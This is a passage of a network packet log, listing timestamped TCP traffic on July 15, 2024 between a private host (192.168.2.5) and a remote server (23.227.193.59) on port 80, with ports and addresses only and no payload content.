Jul 15, 2024 00:48:34.579474926 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.579480886 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.579484940 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.579515934 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.579536915 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.631969929 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.631990910 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.632005930 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.632026911 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.632039070 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.632051945 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.632061958 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.632066965 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.632091999 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.632145882 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.632158041 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.632200003 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.632205963 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.632211924 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.632224083 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.632236958 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.632250071 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.632262945 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.632519960 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.632611990 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.634557009 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.634567976 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.634578943 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.634591103 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.634603977 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.634629011 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.634641886 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.634649038 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.634656906 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.634700060 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.634710073 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.634721041 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.634722948 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.634733915 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.634741068 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.634757042 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.634763956 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.634768009 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.634779930 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.634793043 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.634805918 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.634813070 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.634819984 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.634833097 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.634843111 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.634860992 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.634881020 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.634906054 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.634917974 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.634927988 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.634939909 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.634952068 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.634952068 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.634964943 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.634983063 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.635010004 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.635135889 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.635148048 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.635158062 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.635191917 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.635268927 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.635279894 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.635291100 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.635301113 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.635312080 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.635318041 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.635325909 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.635343075 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.635345936 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.635358095 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.635392904 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.635478973 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.635489941 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.635499954 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.635514021 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.635546923 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.635693073 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.635704994 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.635715961 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.635729074 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.635740995 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.635746002 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.635756969 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.635776997 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.636132956 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.636145115 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.636156082 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.636168957 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.636181116 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.636184931 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.636193991 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.636207104 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.636209965 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.636230946 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.636240959 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.636259079 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.636271000 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.636282921 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.636284113 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.636293888 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.636306047 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.636317968 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.636321068 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.636343002 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.636363029 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.636529922 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.636542082 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.636553049 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.636565924 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.636579037 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.636591911 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.636593103 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.636615038 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.636636019 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.636670113 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.636682034 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.636693001 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.636703968 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.636717081 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.636730909 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.636732101 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.636755943 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.636774063 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.636864901 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.636876106 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.636882067 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.636887074 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.636985064 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.636996031 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.637008905 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.637018919 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.637028933 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.637042046 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.637043953 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.637078047 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.637114048 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.637125015 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.637135029 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.637145996 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.637156963 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.637170076 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.637171984 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.637212038 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.637482882 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.637497902 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.637509108 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.637520075 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.637523890 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.637531996 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.637547970 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.637550116 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.637562990 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.637586117 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.637623072 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.667948008 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.667962074 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.667973995 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.668016911 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.668055058 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.668066978 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.668078899 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.668092012 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.668124914 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.716434956 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.727024078 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.727051973 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.727067947 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.727080107 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.727089882 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.727101088 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.727102995 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.727113962 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.727128029 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.727132082 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.727231026 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.727245092 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.727257013 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.727338076 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.727338076 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.727376938 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.727390051 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.727401972 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.727413893 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.727586031 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.727586031 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.728188038 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.728200912 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.728212118 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.728226900 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.728238106 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.728240967 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.728250980 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.728265047 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.728269100 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.728291035 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.728300095 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.728317022 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.728329897 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.728339911 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.728353977 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.728368044 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.728375912 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.728393078 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.728408098 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.728414059 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.728425980 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.728435040 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.728439093 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.728461027 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.728523016 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.728533983 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.728545904 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.728558064 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.728564978 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.728569984 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.728588104 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.728591919 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.728606939 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.728610039 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.728627920 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.728640079 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.728648901 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.728652954 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.728667974 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.728677988 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.728739977 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.728753090 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.728765011 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.728769064 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.728777885 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.728790998 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.728805065 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.728806019 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.728821993 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.728837013 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.728889942 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.728903055 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.728914976 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.728925943 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.728926897 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.728950977 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.728960991 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.728965044 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.728980064 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.728991985 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.728995085 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.729008913 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.729026079 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.729054928 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.729244947 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.729257107 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.729269981 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.729280949 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.729345083 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.729366064 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.729378939 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.729393005 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.729396105 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.729407072 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.729415894 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.729420900 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.729448080 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.729521036 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.729533911 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.729546070 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.729557037 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.729561090 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.729573965 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.729578972 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.729588985 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.729628086 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.729650021 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.729662895 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.729674101 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.729685068 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.729688883 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.729702950 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.729717016 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.729722023 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.729753017 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.729779959 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.729793072 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.729826927 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.729885101 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.729897022 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.729908943 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.729918957 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.729923010 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.729938030 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.729939938 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.729952097 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.729968071 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.729973078 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.729998112 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.730043888 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.730056047 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.730067015 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.730084896 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.730102062 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.730117083 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.730129957 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.730140924 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.730142117 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.730155945 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.730163097 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.730200052 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.730237961 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.730249882 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.730264902 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.730276108 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.730288029 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.730289936 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.730321884 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.730411053 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.730423927 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.730437040 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.730448008 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.730448008 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.730479002 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.730562925 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.730576038 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.730588913 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.730597019 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.730623960 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:34.757339954 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.757359028 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.757369995 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:34.757381916 CEST	80	57614	23.227.193.59	192.168.2.5
